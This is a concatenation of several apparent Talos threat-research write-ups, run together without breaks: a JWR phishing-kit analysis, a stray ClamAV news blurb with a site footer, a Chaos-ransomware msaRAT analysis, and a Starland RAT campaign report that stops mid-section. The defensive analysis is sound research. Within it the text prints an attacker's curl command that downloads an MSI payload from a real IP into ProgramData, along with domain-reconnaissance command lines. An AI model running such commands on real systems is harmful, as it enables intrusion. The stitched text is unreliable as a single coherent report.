The script engine includes a background worker module that maintains the connection with C2, keeping it alive independently of page navigation for the remainder of the session. In a live session activity, the script continuously streams the victim’s keystrokes to the actor's C2 server as captured data, while that the actor continuously sends the next instruction to be executed from the C2 server. Each incoming instruction is checked by the client engine against a brief history to ensure that nothing already executed runs twice, then routed by the Instruction Handling module to one of two outcomes including, redirecting the victim to a different phishing page or updating the current page's state and displayed status, awaiting the actor’s next instruction. This execution loop repeats until the actor decides to keep the session alive, and when the actor chooses to close the session, the accumulated data is transmitted to the C2 one last time, and the victim is redirected.
In host bridge mode, the IIFE establishes a persistent WebSocket connection to the actor's server, manages the victim's session identity, excludes repeating incoming instructions, and proxies all communication between the server and the phishing child iframe.
Every victim is assigned a unique session token the moment the bridge initializes. It first checks persistent storage for an existing JWRCID value if the victim has visited the page before, and if true, the same token is reused, allowing the actor to correlate multiple visits from the same device. If none exists, a new token is generated in the format JWRCVV-{Date.now()}-{random1}-{random2}, with both random segments being 13-character base-36 strings, and this token becomes the victim's permanent identifier for the entire C2 communication.
The module then spawns a Web Worker from a separate script located at static/js/ws-worker.js, which isolates the WebSocket from the main JavaScript context, allowing the connection to persist during navigation within the phishing flow. The WebSocket connection path is constructed as webSocket/QT/{sessionId}/khkjsahfjkwhakjlsdwdddddd88, where the alphanumeric suffix is likely a server-side authentication token that ensures the connection originates from a deployed kit instance.
The host bridge incorporates an anti-analysis check, which serves as a one-time execution guard that performs a self-referential .toString().search() call against a backtracking regex. This check detects whether a debugger has attached the function to modify its apparent source. Additionally, a decoy variable is scattered throughout the code to mislead static-analysis tools.
Moreover, it maintains a JSON array named JwrExecutedInstructions in sessionStorage to prevent the same operator instruction from executing more than once. Before relaying any instruction into the phishing iframe, it verifies the instruction ID against a list. If a match is found, it discards the repeating instructions. If it is a new instruction, it sends an acknowledgment back to the C2 server in the format {type:"instructionAck", instruction_id:, cvv_id:}. The list is limited to 50 entries and is trimmed to retain the most recent 30.
The Vue.js victim application developed by the JWR developer is a single Vue 2.X instance, window.vm = new Vue ({el: ‘#app’, ...}), mounted on a Document Object Model (DOM) element with the id “#app”. This application serves as the phishing page that the victim sees and interacts with. It is responsible for rendering the checkout forms, collecting and streaming input to the C2, executing the actor’s instructions, and performing the exfiltration function.
When the Vue instance is constructed, the created function is executed, processing the data passed from the fake webpage the victim visited, but without attaching the page. It generates the session ID and clears any sensitive fields leftover from a prior page visit if the victim had previously accessed the same fake page. It also restores any previously saved session state from “sessionStorage” if it exists. Then, it redirects the victim from any page other than index/login/home that lacks a session ID to a_index.html, ensuring the victim enters the phishing flow. Finally, the Vue takes the rendered output and attaches it to the #app element in the page's DOM, making the interface visible and interactive to the victim.
Once the DOM is ready, Vue executes the mounted function asynchronously, at which point the victim becomes visible to the actor. It determines the engine’s execution mode and then executes two functions: getIPInfo() to geolocate the victim’s IP address and getSyncSettings() to pull the actor’s configuration from the C2 server. Next, it initializes the communication channel, captures the victim's action, and creates a CVV form with the victim's device fingerprint data. This includes the victim's current form of state, such as device type, browser, language, time zone, and geolocation, which are encrypted and sent to the actor's C2 server.
One of the key features of the JWR kit is its near-real-time input streaming. Each input element in the phishing form is transmitted to the actor’s console, allowing the actor to view partial card numbers, partial passwords, and partial verification codes as the victim types, without needing to wait for the victim to click any submit button. This mechanism enables the actor to see the victim's data and determine which instruction to send to the client's engine from the C2 before the victim even submits the form.
Before the Vue instance is created, the client engine establishes an instruction mapping table that correlates over 40 actor command names with specific HTML page filenames, thereby granting the actor remote control over the victim browser session.
The JWR client script includes a C2 command dispatcher. When the actor sends an instruction, the client receives, decrypts, and forwards it to the dispatcher function, which routes it to the appropriate handler based on the instruction type. The table below displays the actors' instructions from C2, facilitated by the JWR client kit.
Instructions | Purpose |
to_index | Send victim to the landing/entry page |
to_login | Send victim to site-login page |
to_password | Prompt for account password |
to_info | Collect PII |
to_card | Send victim to card-entry page |
to_qr | Show QR code for scan-based verification |
to_sms | Request SMS OTP |
to_sms_login | Request SMS OTP for login step |
to_sms_bank | Request SMS OTP for bank verification |
to_2fa | Request 2FA code |
to_text_verify | Request custom text/code verification |
to_email | Request email OTP |
to_pin | Request card PIN |
to_app | Request bank-app push approval |
to_login_app | Request app-based login approval |
to_bank_login1 | Step 1 of multi-stage bank login |
to_bank_login2 | Step 2 of multi-stage bank login |
to_bank_login3 | Step 3 of multi-stage bank login |
to_custompage | Route to a custom/template-defined page |
to_shop | Show fake storefront/shop page |
to_paypal_login | Collect PayPal login credentials |
to_paypal_card | Collect card data via PayPal-branded flow |
to_paypal_card_verify | Request card verification text (PayPal flow) |
to_paypal_sms | Request PayPal-linked phone OTP |
to_paypal_email | Request PayPal-linked email OTP |
to_paypal_pin | Request PayPal PIN |
to_paypal_app | Request PayPal app-approval verification |
to_apple_login | Collect Apple ID login |
to_apple_sms | Request Apple-linked SMS OTP |
to_apple_email | Request Apple-linked email OTP |
to_apple_card | Collect card data via Apple-branded flow |
to_apple_verify | Request generic Apple verification step |
to_klarna_login | Collect Klarna login credentials |
to_klarna_sms | Request Klarna-linked SMS OTP |
to_klarna_email | Request Klarna-linked email OTP |
to_klarna_pay | Collect Klarna payment details |
to_klarna_pin | Request Klarna PIN |
to_success | Sends full data to the C2 and redirect victim to a real site |
to_redirect | Redirect victim out to an operator-supplied URL |
tip_fail | Show generic declined/invalid error, force re-entry |
tip_custom_fail | Show an operator-authored custom error message |
to_page_custom_fail | Route to a custom failure page defined per template |
tip_change_card | Fake card-declined prompt to extract a second/different card |
updata_img | Push a new image likely a refreshed QR code without navigating |
updata_2fa | Silently inject/display an OTP code supplied by the operator |
text_updata_verify | Push custom verification text to display, without navigating |
submitResult | Operator pushes a corrected or enriched copy of the victim's form data back into the session |
The JWR client engine has a data exfiltration schema. Its scope extends well beyond payment data, and includes full identity information (name, gender, date of birth, Social Security Number, passport, driver's license, medical record number), address, email and email password, up to three sets of website credentials, PayPal login, complete card data (PAN, expiry, CVV, PIN, brand, issuer, issuing country), front and back card images, photos of identity documents, and an automatically captured browser fingerprint, including IP, device, language, time zone, user agent, cookies, and geolocation.
Upon submission, the client normalizes the submission types, triggering a full-screen non-interactive overlay over the page. For credit card submissions, a Lottie animation is displayed that corresponds to the card brand detected from the first two BIN digits. After exfiltration, when the actor closes the WebSocket, terminate the worker and POST the entire cvvformobject to the C2 endpoint at api/open/the_final_interface. Once the actor confirms, the victim is redirected to the actual site.
Talos discovered that the primary mode of C2 communication for the JWR kit is via a binary WebSocket connection. The WebSocket path follows the format shown below, where the JWRCID and JWRCVV segments encode the victim’s unique session token, and the trailing alphanumeric suffix is likely a server-side authentication token.
Alongside the WebSocket, the JWR client registers five Representational State Transfer (REST) endpoints which are used as an alternate communication method, between the C2 and the victim browser. In this case, a session opens with api/open/addClick, executed once from within the mounted function after the phishing page becomes visible to the victim. It reports the victim's IP address, country, the specific phishing page they landed on, the referring or storefront URL, and a bundle of device and operating system (OS) metadata to the actor's console with a live "new visitor" entry before a single instruction has even been sent by the actor from the C2 server. Running alongside it is api/open/getSyncSettings, which pulls inbound configuration from the actor's server rather than exfiltrating anything, letting the actor change error messages, default contact placeholders, currency display, and other behavior on the fly without redeploying the client engine. For the victim’s environments where a persistent WebSocket connection is unavailable or blocked, api/open/pollInstruction provides an HTTP long poll fallback that delivers the same operator instruction objects the socket would otherwise push, keeping the actor's remote control functional even under restrictive network conditions. The session closes with api/open/the_final_interface, the client engine terminal exfiltration call. Once the actor issues a release instruction, the WebSocket connection and background worker are closed, and the entire accumulated cvvform object, every field collected across the full victim session — card data, identity documents, credentials, and fingerprint alike — is sent via HTTP POST to the C2 endpoint.
The below table represents the endpoints and the purpose.
Endpoint | Purpose |
api/open/addclick | Victim arrival beacon with fingerprinting data sent to C2 |
api/open/getSyncSettings | Gets actor-controlled settings from the C2 |
api/open/the_final_interface | POSTs the entire cvvform – exfiltration endpoint |
api/open/pollInstruction | Gets the actor’s instructions from the C2 |
api/open/addCvv | Exfiltration endpoint |
The JWR client has purpose-built integrations for two major e-commerce platforms Shopify and WooCommerce. For Shopify deployments, the client reads the cart_data URL parameter which is a signed JSON blob that Shopify passes between checkout steps and extracts the checkout domain to use as the WebSocket base URL. This makes the WebSocket connection seem to originate from a legitimate Shopify domain. The initShopifyProductInfo() and initWordPressProductInfo() functions reconstruct the victim's shopping cart from the Shopify cart data, populating the phishing page with accurate product names, quantities, unit prices, and order totals making the fake checkout indistinguishable from the real one.
The operator facing status messages of the JWR framework are entirely written in Simplified Chinese and read as a professional admin dashboard notification feed phrases like "正在填写PayPal登录账号" (filling in PayPal login account), "进入2FA验证页, 请发送验证, 等待用户提交" (entering 2FA verification page, please send verification, waiting for user submission), and "均失败" (all failed), indicating that a Chinese-speaking actor is operating this scam campaign.
When the victim lands on the fake page, their browser sends an arrival beacon, indicating to the actor that a new visitor is present. From there, the actor takes over, sending a to_info instruction that directs the victim to a personal details page. While the victim types, the actor sends no further instructions but monitors the data stream live. Once the actor has assessed the victim's personal information, they issue a to_card instruction, moving the victim to the card entry page, where the same stealth live streaming occurs as the card number is typed in digit by digit.
If the actor isn't keen on the typed card details, tip_fail or tip_change_card instructions are sent, which deliver a fake "your card was declined" message to the victim and returns them to the card page to try a different one. This loop can repeat as many times as the actor wants, each attempt aimed at harvesting another card from the same victim. If the card is accepted instead, the operator sends one of the instructions: to_sms, to_2fa, to_pin, or to_app, directing the victim to a verification page to confirm their identity with a one-time code. For the rejected code, the actor sends the tip_fail instruction, which prompts the victim to re-enter it, while an accepted one leads to the final instruction, to_success, which redirects the victim to the real website, concluding the session with the actor now having the victim’s data that was typed.
Cisco Talos observed an attacker utilizing an SMS phishing technique, sending SMS related to toll or road-pricing fees, postal or courier fees lures that contain a malicious URL targeting potential victims. When victims click on the URL, it opens a fake webpage that executes embedded JavaScript, which then renders and loads the client-side JavaScript engine of the JWR phishing framework.
Figure 9. Sample SMS phishing messages.
Figure 10. Phishing page which renders and loads the JWR client enabling the HOST mode.
The victimology of this scam campaign illustrates a broad, multi-country SMS phishing (smishing) operation rather than a single targeted campaign. Most of the malicious URLs impersonate a national land transport authority and its vehicle services or road toll payment portal, consistent with an "unpaid toll or road pricing fine" lure in Singapore. A second set of malicious URLs impersonates a national postal service, aligned with a "parcel held pending a customs or delivery fee" lure, alongside a smaller cluster mimicking an electronic toll collection system in the UAE. The third set of URLs impersonates a regional courier brand utilized across several Southeast Asian countries, again centered around the undelivered parcel or cash on delivery fee theme.
Talos discovery of the similarities in the client engine script of the JWR framework used in the current campaign with that of the Outsider PhaaS platform and additionally, we observed that in June 2026, the FBI had announced the technical takedown operation against Outsider platform (PhaaS) that has been in operation since 2023, through a joint operation “Ghost Hook.” However, the Outsider PhaaS was sold as a self-servicing product in the actor’s Telegram channels, according to the external researcher report, indicating the likely existence of variants of the Outsider PhaaS kit employed and operated by other Chinese-speaking threat actors.
Following the discovery of several similarities in the client-side scripts of the JWR and The Outsider kit, Talos conducted a comparative assessment of the JWR client script against other phishing kits operating within the Chinese-speaking criminal ecosystem.
Talos found that JWR shares no code-level implementation with Lucid, Darcula, or Lighthouse. Its C2 communication protocol, encryption module, and message envelope are all independently engineered. At the behavioral level, JWR aligns closely with those kits. All four share the operational signature that defines this PhaaS lineage including live operator puppeteering, card capture paired with OTP/2FA interception, and multi-brand templating at scale. Several additional characteristics place JWR within the same family, highlighting a tradecraft consistency across the developers of the phishing kits embedded in the Chinese-speaking criminal ecosystem.
The following ClamAV signature detects and blocks this threat:
The following Snort2 and Snort3 (SIDs) rules detect and block this threat:
The IOCs for this threat are also available at our GitHub repository here.
Cisco disclosed seven ClamAV vulnerabilities that let a remote attacker crash scanning via crafted files. Details are public. Patch now.
Related Posts:
The post Multiple ClamAV Flaws Let Remote Attackers Cause DoS appeared first on Daily CyberSecurity.
Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog.
Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT.
After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected.
curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msiThe property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update.
When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize. This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3, directly into memory.
msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN, which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note.
Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async/await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is responsible for scheduling and running asynchronous tasks.
As the first step within the RUN function, the malware initializes Tokio to enable asynchronous processing. Multiple strings statically embedded in the binary — including TOKIO_WORKER_THREADS and the number of hardware threads is not known for the target platform — match source code from both Tokio and the Rust standard library, confirming this initialization behavior.
During initialization, the malware determines the number of worker threads for parallel execution. It first reads the TOKIO_WORKER_THREADS environment variable. If the variable is not set or is empty, it calls the Windows API GetSystemInfo to retrieve the CPU count and uses that value to set the worker thread count. If dwNumberOfProcessors written by GetSystemInfo returns 0, the worker count is set to 1. Once the initial values are configured, the Tokio runtime is started, and OS threads equal to the number of workers are created and launched via the CreateThread API.
By leveraging Tokio, this RAT can concurrently execute multiple operations — such as receiving frames from the C2, sending CDP commands to the browser, and processing key exchanges — without any operation blocking another. For example, even while an ECDH key exchange is in progress, the reception and processing of other frames continues uninterrupted.
After launching the Tokio runtime, msaRAT attempts to manipulate the browser. As the first step toward that goal, it searches for the installation path of Chrome or Edge on the victim machine.
1. Path Discovery via Environment Variables
The malware attempts the following combinations in priority order, checking whether the file exists at each path.
2. Path Discovery via registry
If no path is found through environment variables, the malware falls back to searching for Chrome exclusively via the registry.
If no matching browser is found, the Chrome DevTools Protocol (CDP) manipulation described later will not be executed.
Upon successfully obtaining the browser path, the malware launches Chrome or Edge in headless mode via the CreateProcessW API. At launch, multiple flags listed in Table 2 are applied, enabling the CDP remote debugging port.
HTTP GET request to “/json/list/”.In response to this request, the browser returns a JSON array containing information about connectable targets (such as tabs). Each element in the response includes a webSocketDebuggerUrl field, and a CDP session is established by connecting to that URL via WebSocket. Over the established session, a Target.createTarget command is sent to create a new tab, followed by Page.enable and Runtime.enable to activate the JavaScript execution environment.
After establishing a CDP session over WebSocket, the malware first bypasses Content Security Policy (CSP) using the Page.setBypassCSP command. As shown in Figure 9, the command is referenced from the string blob via pointer and length, then issued as a CDP command.
Immediately after bypassing CSP with Page.setBypassCSP, the RAT issues Runtime.addBinding five consecutive times. Runtime.addBinding is a CDP feature that registers callbacks to notify both the browser's JavaScript and the CDP client (the RAT) of events. The binding names to be registered are stored in the string table within the binary. Through a loop, the names “msaOpen,” “msaClose,” “msaError,” “msaMessage,” and “dataAck” are referenced in order, and each entry is sent as a CDP command one at a time.
After registering each binding name, the RAT uses Runtime.evaluate — a CDP feature for executing JavaScript in the browser — to inject JavaScript code embedded in the .rdata section into the browser. The injected code is embedded in plaintext and consists of two functions.
The first function initializes the WebRTC channel. It is injected only once, at the time of the initial connection. This function establishes the foundation for communications with the C2. The following sections describe the processing performed by this JavaScript code.
First, a GET request is sent to Cloudflare Workers (“is-01-ast[.]ols-img-12[.]workers[.]dev”) to retrieve the STUN/TURN server configuration required for WebRTC connection as JSON. If this fails, window.msaError() notifies the RAT and terminates.
Figure 13 shows the GET request and response between the browser and the server hosted on Cloudflare Workers infrastructure. Since the browser is launched in headless mode, the User-Agent is identified as HeadlessChrome. As for the Origin and Referer headers, the request is disguised as originating from Microsoft's official website in order to evade detection.
The response body, as shown in Figure 14, returns WebRTC ICE server configuration containing STUN/TURN server information. The STUN server (“stun2.l.google.com”) is used to discover the external IP address of the infected host in order to traverse NAT, while the TURN server (“global.turn.twilio.com”) acts as a relay point when a direct Peer-to-Peer (P2P) connection cannot be established.
Using the retrieved server information, an RTCPeerConnection is created. The DataChannel name is assigned a random alphanumeric string of 5 to 20 characters generated by genStr(5, 20).
The callbacks previously registered via Runtime.addBinding are bound to their respective WebRTC events. When data is received from the C2 (onmessage), the binary data is converted to Base64 and passed to the RAT via window.msaMessage().
For WebRTC communication to occur, both parties must first agree on which address to connect to and which format to use for communication. To that end, the malware generates a WebRTC SDP Offer (containing the communication parameters) and gathers ICE candidates to determine the optimal connection path. Once gathering is complete, the SDP Offer is POSTed to the C2 server, which returns an SDP Answer. Applying the C2 server's SDP via setRemoteDescription establishes the WebRTC DataChannnel connection. If ICE candidate gathering does not complete within five seconds, a timeout is triggered and it forcibly executes.
Figures 18 and 19 show the actual POST /token/v1/{UID} request and response. The response contains the attacker's SDP Answer, which includes no ICE candidates, with the connection address set to “0.0.0.0”. By intentionally omitting the ICE candidates that are normally present in standard WebRTC communications, P2P connections are prevented from being established, resulting in a design where all communications are always routed through TURN. By routing traffic through Twilio's legitimate service, the real IP address of the attacker's server never appears in the network traffic, and the dual-layer infrastructure combining Twilio with Cloudflare Workers makes it significantly difficult to trace the attacker's infrastructure.
When sending data from the RAT to the browser, the CDP Runtime.evaluate can only pass strings. However, the actual data transmitted over the WebRTC DataChannel is binary data (ArrayBuffer). The function Base64ToArrayBuffer is responsible for handling this conversion.
The WebRTC DataChannel has a send buffer, and continuously sending data can result in new data being dropped. To address this issue, the attacker has implemented a queue and flow control mechanism. Data is dequeued and sent when the buffer drops below 24KB. This design is likely intended to ensure reliable delivery of large payloads such as screenshots or file transfers to the C2.
The second function is dedicated to data transmission and is injected on demand via Runtime.evaluate each time the RAT sends a command to the C2 through the browser. The actual payload is embedded in place of {base64}.
After the RAT injects JavaScript via Runtime.evaluate, control of the main processing shifts to the browser. The RAT enters a waiting loop monitoring the CDP WebSocket, continuously listening for events from the browser. The establishment and disconnection of the WebRTC connection, as well as data reception, are all handled by JavaScript running within the browser. To relay the results of this processing back to the RAT, the registered bindings such as window.msaOpen() and window.msaMessage(base64Data) are called. Each time a binding is called, CDP emits a Runtime.bindingCalled event to the RAT over WebSocket. The JSON format of this event is as follows:
The params object contains two fields: name (a string indicating which binding was called) and payload (the argument passed from JavaScript). Based on the value of the name field, the RAT switches its subsequent behavior accordingly.
By specification, the WebRTC DataChannel communication path is automatically protected by DTLS (transport-layer encryption), which is handled entirely by the browser and is independent of the RAT's code. Separately, msaRAT encrypts the data itself using a ChaCha-Poly1305-based encryption scheme before passing it to the browser, resulting in double-layer encryption. This design ensures that even if DTLS is stripped, an adversary-in-the-middle cannot read the contents. The ChaCha-Poly1305-based encryption key is derived through an ECDH key exchange performed at the time the C2 connection is established. When a Handshake frame (0xFE) is received from the C2 immediately after connection, the RAT receives the C2 server's public key, generates its own key pair, derives a shared key and then sends its own public key back to the C2.
While a simple implementation would receive a command number and invoke the corresponding handler, this RAT employs a two-layer structure: an outer layer that manages connection state and an inner layer that processes frames. These are shown in Tables 4 and 5.
Figure 25 illustrates the communication flow between msaRAT, Cloudflare Workers, Twilio TURN, and the C2 server.
msaRAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint (“is-01-ast[.]ols-img-12[.]workers[.]dev”), but rather than making HTTP connections to this domain itself, it offloads that entirely to the browser. This endpoint is dedicated solely to signaling relay (SDP Offer/Answer exchange) for establishing a WebRTC connection; once the WebRTC connection is established, Cloudflare Workers drops out of the communication path entirely. All subsequent C2 commands are exchanged exclusively over the WebRTC DataChannel.
The likely rationale for choosing Cloudflare Workers as the signaling relay is that the destination is Cloudflare's infrastructure rather than an attacker-owned server, meaning the destination IP addresses fall within Cloudflare's CDN ranges and will pass through many firewall and proxy allowlists without inspection. Furthermore, “*.workers.dev” is a platform domain provided by Cloudflare for developers, and blocking it would broadly impact legitimate Cloudflare Workers deployments making it structurally difficult for defenders to block. In addition, as we mentioned, communications are double-encrypted.
As a result of this design, all network communication from the RAT process itself is limited to “127.0.0[.]1”, and all external communications are observed as originating from a legitimate browser process. Since browser-based WebRTC communication is commonplace even in enterprise environments, C2 traffic is effectively buried within normal web traffic from the perspective of firewalls and network monitoring tools.
The following ClamAV signatures detect and block this threat:
The following SNORT® rules (SIDs) detect and block this threat:
The IOCs can also be found in our GitHub repository here.
According to the telemetry data, the infection is predominantly observed in the United States. There are also fewer potential impacts observed in Germany, Romania, and Venezuela, based on the assessment of the passive DNS resolution data of the C2 domains associated with this campaign.
Talos has observed that the threat actor in this campaign has utilized trojanized installer lures from software categories including:
Trojanized installer | Software name | Software category |
MobaXterm_v26.1.exe | MobaXterm | SSH, remote desktop, and network administration terminal |
WebEx_Client.exe and Zoom installer | Cisco WebEx and Zoom | enterprise video conferencing and collaboration platforms |
dbeaver-ce-windows-x86_64.exe | DBeaverCommunity Edition | open-source database management and SQL client |
FaceitInstaller_x64.exe | FACEIT | online gaming platform |
The breadth of trojanized software across developer tooling, IT administration utilities, enterprise collaboration platforms, and a consumer gaming application suggests the actor is operating an opportunistic, volume-driven distribution model targeting multiple victim profiles simultaneously, rather than a single vertical.
The threat actor in this campaign operates a distributed infrastructure across two functional categories, payload staging and persistent C2, with domain naming conventions chosen to blend into legitimate traffic categories. The staging domains, including “eorthopaedics[.]com” (likely a hijacked domain), “web-devtools[.]com” (resembles a developer tooling portal), and “zynaris[.]io” (resembles a technology start-up), with each domain serving a narrow functional role:
The C2 infrastructure is similarly distributed, with “eorthopaedics[.]com” and “sastoro[.]com” both serving hardware-bound unique identifier (HWID) encrypted envelopes over HWID parameterized URL paths with “eorthopaedics[.]com” under “/feed/” and “sastoro[.]com” under “/alpha/”. This suggests that the two domains represent parallel C2 infrastructure used for the same campaign.
The domains “windowscreenrepairnearme[.]com” (which is also likely to be a hijacked domain) and “aipythondevs[.]com” serve as the primary C2 for the Starland Python RAT. All C2 URLs incorporate a victim hardware identifier derived from the C: drive volume serial number of the victim machine as the final URL path component, enabling the distinct C2 communication for each of the compromised victims. The actor in this campaign has also implemented C2 infrastructure resilience by using a Polygon smart contract (“0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba”), which stores an XOR-encrypted fallback C2 domain that is retrievable via a public JSON-RPC call.
Talos discovered that the actor controls two Telegram bots, “8384531459” (“skuefq_bot”) and “7993597060” (“komandastuk_bot”), used for receiving the implant’s execution notification beacons, including messages with victim’s machine fingerprints and cryptocurrency wallet inventories.
Figure 3. Actor-controlled Telegram channel.
Talos’ research uncovered a private live Telegram channel called “stuk komanda”, controlled by the same threat actor. The stuk komanda channel was created on June 5, 2025, and has three unknown subscribers. It does not contain any chat groups and appears to be structured like a C2. The channel lists messages in the name of file names that appear to be Windows-based binaries, highlighting that the threat actor has been active since at least June 2025.
Figure 4. Messages seen on the Telegram channel.
The threat actor executed a multistage campaign that involves deploying a weaponized HTA downloader via Microsoft HTML Application Host (“mshta.exe”) on the victim's machine, likely utilizing a ClickFix technique. The execution of the HTA file results in the downloading and execution of trojanized installers bundled with a malicious Python package, which sends the implant status of the installer to an attacker-controlled Telegram bot. The NSIS script associated with the trojanized installer is designed to execute the malicious byte-compiled Python code encapsulated within the installer file.
This initial byte-compiled Python code acts as a loader that decodes and executes an embedded Python RAT, which we are calling Starland RAT, in the victim's machine memory. Starland RAT offers a wide range of functionalities and has been specifically engineered to operate within the Windows environment. Its capabilities include defense evasion techniques, system reconnaissance, stealing browser data and cryptocurrency wallets, and a fallback C2 connection mechanism that includes a hardcoded C2 URL, as well as a Polygon Ethereum smart contract that serves as a backup. This connection allows it to interact with the smart contract through Eth_call, dynamically resolving the C2 domains. The RAT sends the reconnaissance information to the C2 to register the victim's machine and is proficient in receiving and executing intermediate payloads in several formats, including shellcode for 64-bit and 32-bit Windows environments, directly executing Windows shell commands, and downloading and executing malicious EXE, MSI, and DLL files.
Talos has observed that the threat actor has distinct infection chains for each type of intermediate payload that Starland RAT receives from the C2. In the case of an x64 shellcode intermediate payload, it implants CastleStealer as the final payload. CastleStealer is a .NET stealer that targets credentials, cryptocurrency wallets, Telegram data, and other browser data from the victim's machine. Similarly, the x32 shellcode implants a variant of the Remcos RAT.
Furthermore, Talos has observed that the threat actor executed a Windows shell command through Starland RAT as an intermediate payload to download and execute a PowerShell stager. This stager is associated with an undocumented PowerShell C2 framework, which we track as “WLDR C2” in alignment with the internal project designation used by the threat actor in the PowerShell scripts. The PowerShell stager is heavily obfuscated and is designed to decrypt an embedded next-stage PowerShell loader. The second-stage PowerShell loader script has capabilities for defense evasion, connects to the C2, downloads a JSON response, and processes this response to execute another embedded PowerShell payload, the WLDR agent, in the victim's machine memory. The WLDR agent is a bespoke PowerShell script that receives its C2 address through the PowerShell loader injected global variable at the time of execution. The WLDR agent employs capabilities including encrypted HTTP beaconing, comprehensive host reconnaissance, a robust reconnection protocol, and a modular task execution engine to further execute the malicious PowerShell scripts as directed by the threat actor from the WLDR C2 server.
The threat actor gains initial access to the victim machine potentially through a ClickFix social engineering technique that entices the user to execute a command, which then stealthily downloads and executes a remotely hosted weaponized HTA file. The HTA file runs an embedded VBScript that drops a Windows batch file into the user profile’s application temporary folder, which contains instructions to first download and implant a trojanized installer from the attacker-controlled staging domain onto the victim machine.
Once the trojanized installer is executed, the batch file sends a notification beacon to an attacker-controlled Telegram bot, “8384531459”, to confirm successful execution to the threat actor. At the same time, the VBScript establishes persistence under “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” with the generic value “MyApp”, pointing back to “mshta.exe” to execute the remotely hosted weaponized HTA file every time the victim logs in to the machine. Talos identified a Russian-language developer comment left in the VBScript (“Добавление команды в автозапуск для текущего пользователя”), indicating that a Russian-speaking actor is conducting this campaign.
Talos has observed that the threat actor in this campaign has weaponized software installers by utilizing the Nullsoft Scriptable Install System (NSIS). They have packaged the Python runtime executable “pythonw.exe” along with a compiled Python loader, which is disguised as a license file named “LICENSE.txt”. The threat actor has modified the NSI script file of the installer to include instructions for executing the compiled Python loader using the Python runtime executable.
The compiled Python loader is a relatively large file obfuscated with numerous junk functions that perform random arithmetic operations and print randomly generated strings to the standard output. The actual execution logic is confined to six lines in the loader program, implementing XOR decryption using the XOR key 198 (0xC6) to decrypt the encrypted embedded payload of Starland RAT and execute it in the victim machine's memory.
Starland is a Python-based remote access tool (RAT) with the capability to steal cryptocurrency. During its initial execution phase, the RAT resolves and declares all required Windows API function signatures through Python’s ctypes interfaces. It directly loads “kernel32.dll” using WinDLL and explicitly defines the argument types and return types for every Win32 call used later in execution, including VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, VirtualProtectEx, CreateProcessA, QueueUserAPC, and ResumeThread. Custom ctypes Structure subclasses are declared for SECURITY_ATTRIBUTES, STARTUPINFO, and PROCESS_INFORMATION, mirroring the definitions in the Windows SDK. This API mapping mechanism ensures that all injection and process manipulation calls later in execution are ready without further need for Windows API imports or dynamic resolution.
Before any malicious logic executes, the RAT conducts check for anti-analysis environments. First, it compares the logged-on username of the victim machine against a hardcoded list of usernames, which includes known sandbox service accounts and aliases, including WDAGUtilityAccount. Next, the RAT verifies the victim's computer name against a list of hostnames from recognized sandbox environments, such as Cuckoo, Any.Run, Joe Sandbox, and Hybrid Analysis. If either check matches, the RAT's execution terminates immediately. Additionally, the RAT examines the Downloads folder for a Zone.Identifier alternate data stream on the trojanized installer file, confirming that the file was obtained via a browser download rather than being uploaded or copied directly.
The RAT establishes persistence before any network communication with the C2 takes place. The primary mechanism involves creating a scheduled task using the PowerShell New-ScheduledTask command, with a randomized name following the pattern PythonLauncher-{3 random characters}. When executed with administrator privileges, the trigger is set to AtLogOn with RunLevel Highest, ensuring the elevated re-execution of the RAT at every user logon. Additionally, a secondary Startup folder LNK shortcut is created via the WScript.Shell COM object, placed in the user's Startup directory, targeting “pythonw.exe” with LICENSE.txt as its argument. If the RAT is not already running with elevated privileges, it also attempts UAC elevation via ShellExecuteW with the runasverb, aiming to upgrade the scheduled task to the higher-privilege logon before proceeding.
It performs system reconnaissance, assembling the victim profile that includes the system hardware-bound unique identifier (HWID), total RAM size of the victim machine, and installed antivirus by executing the following commands:
Get-CimInstance -Class Win32_ComputerSystemProduct.UUID wmic memorychip get Capacity Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct
The RAT also conducts Active Directory reconnaissance via the PowerShell command Get-WmiObject Win32_ComputerSystem.Domain. If the victim is identified as a member of Active Directory, the RAT executes the following commands to collect information about domain structure, domain controllers, and the victim’s domain privileges:
whoami && systeminfo && net user {USERNAME} /dom && nltest /dclist
For workgroup-only hosts, it executes the whoami /all command. The reconnaissance data collected are staged by the RAT for inclusion during the victim machine registration to the primary C2 domain hardcoded in the RAT program. It also captures a screenshot of the victim machine's desktop, saves it as a PNG in the RAT’s working directory, generates a Base64-encoded string for the PNG file in memory, stages it alongside the reconnaissance data, and deletes the PNG file from the disk.
